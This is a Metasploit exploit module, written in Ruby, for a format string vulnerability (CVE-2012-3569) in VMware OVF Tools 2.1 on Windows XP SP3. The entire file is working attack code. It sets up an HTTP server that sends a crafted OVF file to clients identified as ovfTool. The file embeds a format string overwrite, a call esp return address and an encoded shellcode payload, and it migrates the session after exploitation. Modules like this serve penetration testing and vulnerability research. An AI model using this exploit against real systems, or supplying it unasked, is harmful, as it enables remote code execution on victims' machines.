VMware OVF Tools - Format String (Metasploit) (1)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'VMWare OVF Tools Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
				Windows. The vulnerability occurs when printing error messages while parsing a
				a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
				2.1 on Windows XP SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jeremy Brown', # Vulnerability discovery
					'juan vazquez'  # Metasploit Module
				],
			'References'     =>
				[
					[ 'CVE', '2012-3569' ],
					[ 'OSVDB', '87117' ],
					[ 'BID', '56468' ],
					[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
				],
			'Payload'        =>
				{
					'DisableNops'    => true,
					'BadChars'       =>
						(0x00..0x08).to_a.pack("C*") +
						"\x0b\x0c\x0e\x0f" +
						(0x10..0x1f).to_a.pack("C*") +
						(0x80..0xff).to_a.pack("C*") +
						"\x22",
					'StackAdjustment' => -3500,
					'PrependEncoder'  => "\x54\x59", # push esp # pop ecx
					'EncoderOptions'  =>
						{
							'BufferRegister' => 'ECX',
							'BufferOffset'   => 6
						}
				},
			'DefaultOptions' =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# vmware-ovftool-2.1.0-467744-win-i386.msi
					[ 'VMWare OVF Tools 2.1 on Windows XP SP3',
						{
							'Ret'          => 0x7852753d,  # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
							'AddrPops'     => 98,
							'StackPadding' => 38081,
							'Alignment'    => 4096
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 08 2012',
			'DefaultTarget'  => 0))

	end

	def ovf
		my_payload = rand_text_alpha(4) # ebp
		my_payload << [target.ret].pack("V") # eip # call esp
		my_payload << payload.encoded

		fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
		fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
		fs << my_payload
		# 65536 => 0x10000
		# 27    => Error message prefix length
		fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
		fs << "%08x" * target['AddrPops'] # Reach saved EBP
		fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

		ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<References>
		<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
	</References>
	<DiskSection>
		<Info>Virtual disk information</Info>
		<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
	</DiskSection>
	<VirtualSystem ovf:id="Small VM">
		<Info>A virtual machine</Info>
	</VirtualSystem>
</Envelope>
		EOF
		ovf_file
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri

		if agent !~ /VMware-client/ or agent !~ /ovfTool/
			print_status("User agent #{agent} not recognized, answering Not Found...")
			send_not_found(cli)
		end

		if uri =~ /.mf$/
			# The manifest file isn't required
			print_status("Sending Not Found for Manifest file request...")
			send_not_found(cli)
		end

		print_status("Sending OVF exploit...")
		send_response(cli, ovf, {'Content-Type'=>'text/xml'})
	end

end